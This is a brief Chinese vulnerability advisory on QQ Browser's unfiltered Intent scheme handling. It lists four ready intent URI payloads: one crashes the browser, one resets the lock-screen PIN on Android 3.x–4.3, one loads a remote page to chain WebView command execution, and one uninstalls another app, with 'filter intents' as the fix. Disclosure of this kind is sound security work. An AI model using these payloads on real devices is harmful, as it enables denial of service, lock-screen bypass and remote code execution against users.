qq浏览器IntentScheme处理不当
qq浏览器IntentScheme处理不当
IntentScheme未做过滤，可以植入恶意意图。
1.android all，浏览器拒绝服务
intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end
2.android 3.x-4.3，重置PIN码
intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;end
3.android 4.2.2以下 结合其他app webview执行远程命令
intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end
poc为打开android 4.1的原生游览器
4.android all 卸载其他app
intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end
浏览器版本
修复方案：
过滤intent
- 上一篇：腾讯要打造中国最好的创业孵化器
- 下一篇：浅析百度新算法重视相关性的核心原因
相关文章
图文推荐
-
在CentOS6.x下安装Compiz——桌面立方体，特效种种
-
利用U盘安装windows7
-
sqlserver查询数据可编辑方法
-
Android RoboGuice使用指南(7):@Provides Methods
- 文章
- 推荐
- 热门新闻